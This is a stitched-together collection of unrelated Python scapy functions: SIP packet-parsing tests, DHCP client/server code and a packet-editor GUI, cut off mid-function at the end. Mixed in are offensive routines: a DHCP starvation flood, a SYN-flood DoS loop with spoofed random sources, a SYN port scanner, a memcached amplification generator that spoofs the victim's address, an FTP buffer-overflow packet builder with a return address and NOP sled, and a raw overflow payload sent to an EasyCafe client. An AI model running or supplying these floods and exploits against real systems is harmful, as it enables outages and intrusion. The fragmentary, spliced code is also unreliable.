def test_getSipCallFlowFrom_when_simpleScenario(self): a = scapy_layers.IP( src="127.0.0.2", dst="127.0.0.5" ) / scapy_layers.UDP( sport=5050, dport=5010 ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n" b = scapy_layers.IP( src="127.0.0.5", dst="127.0.0.2" ) / scapy_layers.UDP( sport=5010, dport=5050 ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n" packets = [a, b] client = pcap_helper.PeerData(ip="127.0.0.2", port=5050, protocol=scapy_layers.UDP) callFlow = pcap_helper.getSipCallFlowFrom(packets, client) self.assertEqual(2, len(callFlow)) firstPacketInfo = pcap_helper.PacketInfo(a, pcap_helper.CLIENT_TO_SERVER) self.assertEqual(firstPacketInfo, callFlow[0]) secondPacketInfo = pcap_helper.PacketInfo(b, pcap_helper.SERVER_TO_CLIENT) self.assertEqual(secondPacketInfo, callFlow[1])
def test_packetsHandler_typical(self): a = scapy_layers.IP() / scapy_layers.UDP( ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n" b = scapy_layers.IP() / scapy_layers.UDP( ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n" c = [a, b] pcap_helper.packetsHandler( c, "[email protected]")
def test_packetsHandler_when_NoPacketsMatched(self): a = scapy_layers.IP() / scapy_layers.UDP( ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n" b = scapy_layers.IP() / scapy_layers.UDP( ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n" c = [a, b] with self.assertRaises(SystemExit) as se: pcap_helper.packetsHandler( c, "[email protected]") self.assertEqual(se.exception.code, 0)
def ttl_dst_default(self): src_ref = '83.78.233.252' dst_ref = '181.149.152.176' ref_pkt = inet.IP(src=src_ref, dst=dst_ref, ttl=100) mac_pkt = inet.IP(src=src_ref, dst=dst_ref, ttl=1) data = lib.build_mock_dict() pp.ip_ttl_change(mac_pkt, data) self.assertTrue( lib.compare_mac_pkts(ref_pkt, mac_pkt), msg= (str(ref_pkt) + ' == ' + str(mac_pkt)) )
def ttl_exception(self): src_ref = '107.149.218.168' dst_ref = '125.195.213.93' ref_pkt = inet.IP(src=src_ref, dst=dst_ref, ttl=1) mac_pkt = inet.IP(src=src_ref, dst=dst_ref, ttl=1) data = lib.build_mock_dict() pp.ip_ttl_change(mac_pkt, data) self.assertTrue( lib.compare_mac_pkts(ref_pkt, mac_pkt), msg= (str(ref_pkt) + ' == ' + str(mac_pkt)) )
def ttl_src_replace(self): src_ref = '181.149.152.176' dst_ref = '125.195.213.93' ref_pkt = inet.IP(src=src_ref, dst=dst_ref, ttl=99) mac_pkt = inet.IP(src=src_ref, dst=dst_ref, ttl=1) data = lib.build_mock_dict() pp.ip_ttl_change(mac_pkt, data) self.assertTrue( lib.compare_mac_pkts(ref_pkt, mac_pkt), msg= (str(ref_pkt) + ' == ' + str(mac_pkt)) )
def ipdst_adrExists(self): src_ref = '83.78.233.252' dst_ref = '181.149.152.176' ref_pkt = inet.IP(src=src_ref, dst='124.233.255.79') mac_pkt = inet.IP(src=src_ref, dst=dst_ref) data = lib.build_mock_dict() pp.ip_dst_change(mac_pkt, data) self.assertTrue( lib.compare_mac_pkts(ref_pkt, mac_pkt), msg= (str(ref_pkt) + ' == ' + str(mac_pkt)) )
def ipdst_adrNotExist(self): src_ref = '83.78.233.252' dst_ref = '125.195.213.93' ref_pkt = inet.IP(src=src_ref, dst=dst_ref) mac_pkt = inet.IP(src=src_ref, dst=dst_ref) data = lib.build_mock_dict() pp.ip_dst_change(mac_pkt, data) self.assertTrue( lib.compare_mac_pkts(ref_pkt, mac_pkt), msg= (str(ref_pkt) + ' == ' + str(mac_pkt)) )
def dhcp_offer(self, device, fromBackdoor=False): if device.yiaddr == '0.0.0.0': yiaddr = self.ip_addr_allocate(device.hwAddr) device.yiaddr = yiaddr else: yiaddr = device.yiaddr print('offer ip: %s' % yiaddr) packet = ( l2.Ether(dst="ff:ff:ff:ff:ff:ff", src=self.etherSrc) / inet.IP(src=self.myIP, dst="255.255.255.255") / inet.UDP(sport=67, dport=68) / dhcp.BOOTP(op=2, chaddr=macTransfer(device.hwAddr), yiaddr=yiaddr, xid=device.xid) / dhcp.DHCP(options=[("message-type", "offer"), ("lease_time", 7200), ("server_id", self.myIP), ("vendor_class_id", device.vendor_class_id), "end"])) #print(str(packet).encode('hex')) #print(macTransfer("00:0e:5e:00:00:0a")) try: if fromBackdoor == False: sendrecv.sendp(packet, iface=self.iface, count=1, verbose=False) except: raise
def dhcp_ack(self, device, fromBackdoor=False): yiaddr = device.yiaddr print('ack ip: %s' % yiaddr) packet = ( l2.Ether(dst="ff:ff:ff:ff:ff:ff", src=self.etherSrc) / inet.IP(src=self.myIP, dst=yiaddr) / inet.UDP(sport=67, dport=68) / dhcp.BOOTP(op=2, chaddr=macTransfer(device.hwAddr), yiaddr=yiaddr, xid=device.xid) / dhcp.DHCP(options=[ ("message-type", "ack"), ("lease_time", 7200), ("server_id", self.myIP), ("subnet_mask", self.subnetMask), ("router", self.router), ("vendor_class_id", device.vendor_class_id), #("client_id",device.client_id), "end" ])) try: if fromBackdoor == False: sendrecv.sendp(packet, iface=self.iface, count=1, verbose=False) except: raise device.yiaddr_acked = True
def _build_packet_header(self, reverse=False): """ Build a packet header based on traffic profile using scapy external libraries. :param reverse: Swap source and destination info when building header :return: packet header in hex """ srcmac = self._params['traffic']['l2'][ 'srcmac'] if not reverse else self._params['traffic']['l2'][ 'dstmac'] dstmac = self._params['traffic']['l2'][ 'dstmac'] if not reverse else self._params['traffic']['l2'][ 'srcmac'] srcip = self._params['traffic']['l3'][ 'srcip'] if not reverse else self._params['traffic']['l3']['dstip'] dstip = self._params['traffic']['l3'][ 'dstip'] if not reverse else self._params['traffic']['l3']['srcip'] layer2 = inet.Ether(src=srcmac, dst=dstmac) layer3 = inet.IP(src=srcip, dst=dstip, proto=self._params['traffic']['l3']['proto']) layer4 = inet.UDP(sport=self._params['traffic']['l4']['srcport'], dport=self._params['traffic']['l4']['dstport']) if self._params['traffic']['vlan']['enabled']: vlan = inet.Dot1Q(vlan=self._params['traffic']['vlan']['id'], prio=self._params['traffic']['vlan']['priority'], id=self._params['traffic']['vlan']['cfi']) else: vlan = None packet = layer2 / vlan / layer3 / layer4 if vlan else layer2 / layer3 / layer4 packet_bytes = bytes(packet) packet_hex = '0x' + binascii.hexlify(packet_bytes).decode('utf-8') return packet_hex
def generate_attack_packets(self) -> None: ip_attacker = self.get_param_value(self.IP_SOURCE) mac_attacker = self.get_param_value(self.MAC_SOURCE) ip_amplifier = self.get_param_value(self.IP_DESTINATION) mac_amplifier = self.get_param_value(self.MAC_DESTINATION) ip_victim = self.get_param_value(self.IP_VICTIM) timestamp_next_pkt = self.get_param_value(self.INJECT_AT_TIMESTAMP) self.attack_start_utime = timestamp_next_pkt attack_duration = self.get_param_value(self.ATTACK_DURATION) attack_ends_time = timestamp_next_pkt + attack_duration _, src_ttl, _ = self.get_ip_data(ip_attacker) sport = Util.generate_source_port_from_platform('linux') # Use MAC of the actual source, but the IP of the victim attacker_ether = inet.Ether(src=mac_attacker, dst=mac_amplifier) attacker_ip = inet.IP(src=ip_victim, dst=ip_amplifier, ttl=src_ttl, flags='DF') while timestamp_next_pkt <= attack_ends_time: request_udp = inet.UDP(sport=sport, dport=Memcd.memcached_port) request_memcd = Memcd.Memcached_Request(Request=b'stats\r\n', RequestID=inet.RandShort()) request = (attacker_ether / attacker_ip / request_udp / request_memcd) request.time = timestamp_next_pkt self.add_packet(request, ip_victim, ip_amplifier) timestamp_next_pkt = self.timestamp_controller.next_timestamp()
def _do_request_lease(self, mac_address, ip=None, timeout_sec=10): logging.debug( f"Requesting lease for mac {mac_address} ip {ip} iface {self._net_iface}" ) mac_raw = codecs.decode(mac_address.replace(':', ''), 'hex') if ip is None: broadcast_flag = scapy.fields.FlagValue(0b1000000000000000, "???????????????B") dhcp_discover = l2.Ether(src=self._real_mac, dst='ff:ff:ff:ff:ff:ff') / \ inet.IP(src='0.0.0.0', dst='255.255.255.255') / \ inet.UDP(dport=67, sport=68) / \ dhcp.BOOTP(chaddr=mac_raw, xid=scapy.volatile.RandInt(), flags=broadcast_flag) / dhcp.DHCP(options=[('message-type', 'discover'), 'end']) dhcp_offer = sendrecv.srp1(dhcp_discover, iface=self._net_iface, verbose=self._verbose, timeout=timeout_sec) if dhcp_offer is None: raise TimeoutError( f"Timeout. failed to get offer for mac {mac_address} iface: {self._net_iface}" ) ip = dhcp_offer[dhcp.BOOTP].yiaddr server_id = DHCPRequestor._server_id_from_offer( dhcp_offer[dhcp.BOOTP]) xid_cookie = dhcp_offer[dhcp.BOOTP].xid else: server_id = None xid_cookie = 0 return self._dhcp_request(mac_raw, ip, xid_cookie, server_id, timeout_sec=timeout_sec)
def set_header_layer3(self, src_ip='192.168.0.2', dst_ip='192.168.0.3', protocol='UDP', **kwargs): """ Build scapy IPV4 L3 objects nside instance packet_data structure :param src_ip: source IP as string in dot notation format :param dst_ip: destination IP as string in dot notation format :param protocol: protocol for l4 :param kwargs: Extra params per scapy usage :return: None """ self.packet_data['layer3'] = [ inet.IP(src=src_ip, dst=dst_ip, proto=protocol.lower(), **kwargs), inet.IP(src=dst_ip, dst=src_ip, proto=protocol.lower(), **kwargs) ]
def setUp(self): a = scapy_layers.IP( src="127.0.0.2", dst="127.0.0.5" ) / scapy_layers.UDP( sport=5050, dport=5010 ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n" b = scapy_layers.IP( src="127.0.0.5", dst="127.0.0.2" ) / scapy_layers.UDP( sport=5010, dport=5050 ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n" firstPacketInfo = pcap_helper.PacketInfo(a, pcap_helper.CLIENT_TO_SERVER) secondPacketInfo = pcap_helper.PacketInfo(b, pcap_helper.SERVER_TO_CLIENT) self.callFlow = [firstPacketInfo, secondPacketInfo] pass
def test_getDirectionFor_when_SERVER_TO_CLIENT(self): packet = scapy_layers.IP( src="127.0.0.2", dst="127.0.0.5") / scapy_layers.TCP(sport=5050, dport=5010) client = pcap_helper.PeerData(ip="127.0.0.5", port=5010, protocol=scapy_layers.TCP) direction = pcap_helper.getDirectionFor(packet, client) self.assertEqual(pcap_helper.SERVER_TO_CLIENT, direction)
def _forge_scapy_response(self, scapy_msg): new_msg = l2.Ether(src=scapy_msg[l2.Ether].dst, dst=scapy_msg[l2.Ether].src) if scapy_msg.haslayer(scapy_inet.IP): new_msg /= scapy_inet.IP(src=scapy_msg[scapy_inet.IP].dst, dst=scapy_msg[scapy_inet.IP].src) else: new_msg /= scapy_inet.IPv6(src=scapy_msg[scapy_inet6.IPv6].dst, dst=scapy_msg[scapy_inet6.IPv6].src) new_msg /= scapy_inet.UDP(sport=scapy_msg[scapy_inet.UDP].dport, dport=scapy_msg[scapy_inet.UDP].sport) return new_msg
def test_getClientServerDataFrom_when_UDP(self): tcp_packet = scapy_layers.IP( src="127.0.0.2", dst="127.0.0.5") / scapy_layers.UDP(sport=5050, dport=5010) client, server = pcap_helper.getClientServerDataFrom(tcp_packet) self.assertEqual(client.ip, "127.0.0.2") self.assertEqual(client.port, 5050) self.assertEqual(client.protocol, scapy_layers.UDP) self.assertEqual(server.ip, "127.0.0.5") self.assertEqual(server.port, 5010) self.assertEqual(server.protocol, scapy_layers.UDP)
def dhcp_flood(**kwargs): iface = kwargs["interface"] count = kwargs["count"] unique_hexdigits = str.encode("".join(set(string.hexdigits.lower()))) packet = (l2.Ether(dst="ff:ff:ff:ff:ff:ff") / inet.IP(src="0.0.0.0", dst="255.255.255.255") / inet.UDP(sport=68, dport=67) / dhcp.BOOTP(chaddr=volatile.RandString(12, unique_hexdigits)) / dhcp.DHCP(options=[("message-type", "discover"), "end"])) sendrecv.sendp(packet, iface=iface, count=count)
def icmp(dst: str, count=1, timeout=2, verbose=False) -> int: """ Send an ICMP ping Returns: count of responses """ c = 0 for i in range(count): packet = inet.IP(dst=dst) / inet.ICMP(seq=i) if sr1(packet, timeout=2, verbose=verbose) is not None: c += 1 return c
def port_scan(time_out, target_ip, port_list=None): a = inet.IP(dst=target_ip) _expose_port = [] _start = time.time() if port_list is None: port_list = common_port.port_list_top_1000 for port in port_list: pkt = a / inet.TCP(dport=port, flags='S') ans = sendrecv.sr1(pkt, timeout=2) if ans is not None and ans.haslayer( 'TCP') and ans['TCP'].flags == 'SA': _expose_port.append(port) if _expose_port.__len__() == port_list.__len__( ) or time.time() - _start > time_out: return _expose_port
def build_test_packet(): try: import scapy.layers.inet as inet import scapy.utils as utils except: logging.info("Packet: Using sample packet") packet_hex = '0x525400c61020525400c6101008004500001400010000400066e70a0000010a000002' else: logging.info("Packet: Using scapy to build the test packet") L2 = inet.Ether(src="52:54:00:C6:10:10", dst="52:54:00:C6:10:20") L3 = inet.IP(src="10.0.0.1", dst="10.0.0.2") packet = L2 / L3 packet_str = str(packet) packet_hex = '0x' + packet_str.encode('hex') # Uncomment below to see the packet in wireshark tool #utils.wireshark(packet) logging.debug("Packet string: %s", packet_hex) return packet_hex
def dos(target_ip, use_real_ip=True): port_list = [i for i in range(1, 65535)] count = 0 while True: if not use_real_ip: a = str(random.randint(1, 254)) b = str(random.randint(1, 254)) c = str(random.randint(1, 254)) d = str(random.randint(1, 254)) dot = '.' source_ip = a + dot + b + dot + c + dot + d else: source_ip = arch.get_if_addr('en0') for source_port in random.sample(port_list, 200): count += 1 IP1 = inet.IP(src=source_ip, dst=target_ip) TCP1 = inet.TCP(sport=source_port, dport=80) pkt = IP1 / TCP1 sendrecv.send(pkt, inter=0.001) print(count)
def refreshAll(self, frame=None): if not frame: frame = self.getFrame() ip_packet = inet.IP(frame.payload) if frame.payload.payload.name == "NoPayload": self.statusBar.showMessage( "Sorry, only correct packets can be loaded. Loading L2 and L3...", 1000) if self.tab_L3_Widget.currentIndex() == 0: self.fillIPv4(ip_packet) else: self.fillICMP(ip_packet) # TODO: according to current tab place values in ipv4 or icmp DONE if frame.payload.payload.name == "TCP": tcp_packet = inet.TCP(ip_packet.payload) self.tab_L3_Widget.setCurrentIndex(0) self.tab_L4_Widget.setCurrentIndex(0) self.fillIPv4(ip_packet) self.fillTCP(tcp_packet) elif frame.payload.payload.name == "UDP": udp_packet = inet.UDP(ip_packet.payload) self.tab_L3_Widget.setCurrentIndex(0) self.tab_L4_Widget.setCurrentIndex(1) self.fillIPv4(ip_packet) self.fillUDP(udp_packet) elif frame.payload.payload.name == "Raw" or frame.payload.payload.name == "Padding": # ICMP, but need to be carefull if want to use this later self.fillICMP(ip_packet) elif frame.payload.payload.name == "ICMP": self.fillICMP(ip_packet) icmp_packet = inet.ICMP(ip_packet.payload) self.spinBox_icmp_Type.setValue( icmp_packet.getfield_and_val('type')[1]) self.spinBox_icmp_Code.setValue( icmp_packet.getfield_and_val('code')[1]) # TODO checksum not implemented self.fillEther(frame)
def _dhcp_request(self, mac_raw, requested_ip, xid_cookie=0, server_id="0.0.0.0", timeout_sec=10): logging.debug( f"Sending dhcp request for {requested_ip} cookie {xid_cookie} server id {server_id} net {self._net_iface}" ) broadcast_flag = scapy.fields.FlagValue(0b1000000000000000, "???????????????B") dhcp_options = [("message-type", "request")] if server_id is not None: dhcp_options.append(("server_id", server_id)) dhcp_options.extend([("requested_addr", requested_ip), ("param_req_list", 0), "end"]) dhcp_request = l2.Ether(src=self._real_mac, dst="ff:ff:ff:ff:ff:ff") / \ inet.IP(src="0.0.0.0", dst="255.255.255.255") / \ inet.UDP(sport=68, dport=67) / \ dhcp.BOOTP(chaddr=mac_raw, xid=xid_cookie, flags=broadcast_flag) / \ dhcp.DHCP(options=dhcp_options) # send request, wait for ack dhcp_reply = sendrecv.srp1(dhcp_request, iface=self._net_iface, verbose=self._verbose, timeout=timeout_sec) if dhcp_reply is None: raise TimeoutError( f"DHCP request timeout on net {self._net_iface}") reply = DHCPRequestor._dhcp_reply_info(dhcp_reply) if dhcp.DHCPTypes[reply['message-type']] != 'ack': raise Exception("Failed to get ack %s" % reply) return reply
from scapy.all import * from scapy.layers import inet sr_ip = '192.168.1.15' ds_ip = '127.0.0.1' pack = "þ\x00\x00\x00\x00\x00\x00\x00\\é\x00\x00\x01\x00\x00\x00<û\x12\x00cmáwF\x02\x02\x00\x12\x02\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00²ÁF\x00F\x02\x02\x00\x12\x02\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00Dû\x12\x00ÊÁF\x00ÒÁF\x00ì\x00\x00\x00G\x01\x00\x00¤\x84w\x01\x00\x00\x00\x00`û\x12\x00¦µE\x00\x14\x00\x00\x00añA\x00\x80\x0bp\x01\x99\x00C\x00¡\x00C\x00G\x01\x00\x00\xa0\x0bp\x01ï²E\x00`û\x12\x00\x06³E\x00\x0e³E\x00$þ\x12\x00\x18³E\x00`û\x12\x00ì\x00\x00\x00G\x01\x00\x00¤\x84w\x01\\\x04r\x01xû\x12\x00Ú\x8bB\x00\x84\x00\x00\x00\x00\x00\x00\x00^\x01Õ\x01\x01\x00\x00\x00\x98û\x12\x00¨,áwà\x02\x01\x00\x84\x00\x00\x00\x00\x00\x00\x00^\x01Õ\x01G\x01\x00\x00Í«ºÜ´û\x12\x00dGáwS\x0f\x80\x01à\x02\x01\x00\x84\x00\x00\x00\x00\x00\x00\x00^\x01Õ\x01Üû\x12\x00 Gáw\x901\x8f\x00\x84\x00\x00\x00\x00\x00\x00\x000Gáw\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ü\x12\x00ï\x15úwìû\x12\x00\x18\x00\x00\x00\x901\x8f\x00\x84\x00\x00\x00\x00\x00\x00\x00^\x01Õ\x01S\x0f\x80\x015GáwÀÕâwµ\x02\x0e\x00.I am a Vulnerable version of EasyCafe Client!\x00F\x02\x02\x00\x00\x00\x00\x00G\x01\x00\x00ì\x00\x00\x00tü\x12\x00\x88qp\x01´¯~\x01hnF\x00h\x01e\x00T½r\x01¼\x87E\x00T½r\x01G\x01\x00\x00ì\x00\x00\x00\x90ü\x12\x00ì\x87E\x00:\x00\x00\x00D\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x10´ü\x12\x00o\x88E\x00:\x00\x00\x00D\x00\x00\x00\x04\x02\x00\x00Tþ\x12\x00T½r\x01ìý\x12\x00\x04\x02\x00\x00ìý\x12\x00ô\x89E\x00\x00\x02\x00\x00T½r\x01Tþ\x12\x00ÿ\x85E\x00\x04\x02\x00\x00Tþ\x12\x00T½r\x01ÿ\x85E\x00<ÿ\x12\x00Tþ\x12\x00ð\x84r\x01ê\x04âw¨:\x8f\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x81÷wª®F\x00\x01\x00\x00\x00\x01\x00\x00\x00\\Ôw\x01Ðý\x12\x000ý\x12\x00Æ®F\x00ª®F\x00\x02\x00\x00\x00\x01\x00\x00\x00<\x0cw\x01Ðý\x12\x00\x062.2.14\x00ª®F\x00\n\x00\x00\x00\x01\x00\x00\x00Dñw\x01Ðý\x12\x00hý\x12\x00Æ®F\x00ª®F\x00\x00\x00\x00\x00\x18\x8cw\x01¤ý\x12\x00H®F\x01\x88ý\x12\x00^vF\x00Ðý\x12\x00\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01H®F\x000\x04x\x01¸ý\x12\x00)wF\x00¸ý\x12\x00\x00\x00\x00\x00Tþ\x12\x00\x00\x00\x00\x00èý\x01\x00\r\x00\x00\x00\x00\x00\x00\x00\x18\x8cw\x01H®F\x00\x00\x00\x00\x00Ðý\x12\x00" send(inet.IP(src=sr_ip, dst=ds_ip) / inet.UDP(sport=800, dport=804) / pack)
def generate_attack_packets(self): """ Creates the attack packets. """ pps = self.get_param_value(atkParam.Parameter.PACKETS_PER_SECOND) # Timestamp timestamp_next_pkt = self.get_param_value( atkParam.Parameter.INJECT_AT_TIMESTAMP) # store start time of attack self.attack_start_utime = timestamp_next_pkt # Initialize parameters ip_victim = self.get_param_value(atkParam.Parameter.IP_SOURCE) ip_attacker = self.get_param_value(atkParam.Parameter.IP_DESTINATION) mac_victim = self.get_param_value(atkParam.Parameter.MAC_SOURCE) mac_attacker = self.get_param_value(atkParam.Parameter.MAC_DESTINATION) custom_payload = self.get_param_value( atkParam.Parameter.CUSTOM_PAYLOAD) custom_payload_len = len(custom_payload) custom_payload_limit = 1000 Util.check_payload_len(custom_payload_len, custom_payload_limit) self.packets = [] # Create random victim if specified if self.get_param_value(atkParam.Parameter.IP_SOURCE_RANDOMIZE): # The most used IP class in background traffic most_used_ip_class = Util.handle_most_used_outputs( self.statistics.get_most_used_ip_class()) ip_victim = self.generate_random_ipv4_address( most_used_ip_class, 1) mac_victim = self.generate_random_mac_address() # Get MSS, TTL and Window size value for victim/attacker IP victim_mss_value, victim_ttl_value, victim_win_value = self.get_ip_data( ip_victim) attacker_mss_value, attacker_ttl_value, attacker_win_value = self.get_ip_data( ip_attacker) min_delay, max_delay = self.get_reply_delay(ip_attacker) attacker_seq = rnd.randint(1000, 50000) victim_seq = rnd.randint(1000, 50000) sport = Util.generate_source_port_from_platform("win7") # connection request from victim (client) victim_ether = inet.Ether(src=mac_victim, dst=mac_attacker) victim_ip = inet.IP(src=ip_victim, dst=ip_attacker, ttl=victim_ttl_value, flags='DF') request_tcp = inet.TCP(sport=sport, dport=ftp_port, window=victim_win_value, flags='S', seq=victim_seq, options=[('MSS', victim_mss_value)]) victim_seq += 1 syn = (victim_ether / victim_ip / request_tcp) syn.time = timestamp_next_pkt timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay) self.packets.append(syn) # response from attacker (server) attacker_ether = inet.Ether(src=mac_attacker, dst=mac_victim) attacker_ip = inet.IP(src=ip_attacker, dst=ip_victim, ttl=attacker_ttl_value, flags='DF') reply_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='SA', window=attacker_win_value, options=[('MSS', attacker_mss_value)]) attacker_seq += 1 synack = (attacker_ether / attacker_ip / reply_tcp) synack.time = timestamp_next_pkt timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay) self.packets.append(synack) # acknowledgement from victim (client) ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A', window=victim_win_value, options=[('MSS', victim_mss_value)]) ack = (victim_ether / victim_ip / ack_tcp) ack.time = timestamp_next_pkt timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps) self.packets.append(ack) # FTP exploit packet ftp_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='PA', window=attacker_win_value, options=[('MSS', attacker_mss_value)]) characters = b'220' characters += Util.get_rnd_bytes(2065, Util.forbidden_chars) characters += b'\x96\x72\x01\x68' characters += Util.get_rnd_x86_nop(10, False, Util.forbidden_chars) custom_payload_file = self.get_param_value( atkParam.Parameter.CUSTOM_PAYLOAD_FILE) # Generation of payload of the FTP exploit packet if custom_payload == '': if custom_payload_file == '': payload = Util.get_rnd_bytes(custom_payload_limit, Util.forbidden_chars) else: payload = ID2TLib.Utility.get_bytes_from_file( custom_payload_file) Util.check_payload_len(len(payload), custom_payload_limit) payload += Util.get_rnd_x86_nop( custom_payload_limit - len(payload), False, Util.forbidden_chars) else: encoded_payload = custom_payload.encode() payload = Util.get_rnd_x86_nop( custom_payload_limit - custom_payload_len, False, Util.forbidden_chars) payload += encoded_payload characters += payload characters += Util.get_rnd_x86_nop(20, False, Util.forbidden_chars) characters += b'\r\n' ftp_tcp.add_payload(characters) ftp_buff = (attacker_ether / attacker_ip / ftp_tcp) ftp_buff.time = timestamp_next_pkt timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps) self.packets.append(ftp_buff) attacker_seq += len(ftp_tcp.payload) # Fin Ack from attacker fin_ack_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='FA', window=attacker_win_value, options=[('MSS', attacker_mss_value)]) fin_ack = (attacker_ether / attacker_ip / fin_ack_tcp) fin_ack.time = timestamp_next_pkt timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay) self.packets.append(fin_ack) # Ack from victim on FTP packet ftp_ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A', window=victim_win_value, options=[('MSS', victim_mss_value)]) ftp_ack = (victim_ether / victim_ip / ftp_ack_tcp) ftp_ack.time = timestamp_next_pkt timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps) self.packets.append(ftp_ack) # Ack from victim on Fin/Ack of attacker fin_ack_ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq + 1, flags='A', window=victim_win_value, options=[('MSS', victim_mss_value)]) fin_ack_ack = (victim_ether / victim_ip / fin_ack_ack_tcp) fin_ack_ack.time = timestamp_next_pkt self.packets.append(fin_ack_ack)
def generate_attack_packets(self): """ Creates the attack packets. """ buffer_size = 1000 # Determine source IP and MAC address num_attackers = self.get_param_value( atkParam.Parameter.NUMBER_ATTACKERS) if (num_attackers is not None) and (num_attackers is not 0): # user supplied atkParam.Parameter.NUMBER_ATTACKERS # The most used IP class in background traffic most_used_ip_class = Util.handle_most_used_outputs( self.statistics.get_most_used_ip_class()) # Create random attackers based on user input atkParam.Parameter.NUMBER_ATTACKERS ip_source_list = self.generate_random_ipv4_address( most_used_ip_class, num_attackers) mac_source_list = self.generate_random_mac_address(num_attackers) else: # user did not supply atkParam.Parameter.NUMBER_ATTACKS # use default values for IP_SOURCE/MAC_SOURCE or overwritten values # if user supplied any values for those params ip_source_list = self.get_param_value(atkParam.Parameter.IP_SOURCE) mac_source_list = self.get_param_value( atkParam.Parameter.MAC_SOURCE) # Make sure IPs and MACs are lists if not isinstance(ip_source_list, list): ip_source_list = [ip_source_list] if not isinstance(mac_source_list, list): mac_source_list = [mac_source_list] # Generate MACs for each IP that has no corresponding MAC yet if (num_attackers is None) or (num_attackers is 0): if len(ip_source_list) > len(mac_source_list): mac_source_list.extend( self.generate_random_mac_address( len(ip_source_list) - len(mac_source_list))) num_attackers = min(len(ip_source_list), len(mac_source_list)) # Initialize parameters self.packets = col.deque(maxlen=buffer_size) port_source_list = self.get_param_value(atkParam.Parameter.PORT_SOURCE) if not isinstance(port_source_list, list): port_source_list = [port_source_list] mac_destination = self.get_param_value( atkParam.Parameter.MAC_DESTINATION) ip_destination = self.get_param_value( atkParam.Parameter.IP_DESTINATION) most_used_ip_address = self.statistics.get_most_used_ip_address() pps = self.get_param_value(atkParam.Parameter.PACKETS_PER_SECOND) if pps == 0: result = self.statistics.process_db_query( "SELECT MAX(maxPktRate) FROM ip_statistics WHERE ipAddress='" + ip_destination + "';") if result is not None and not 0: pps = num_attackers * result 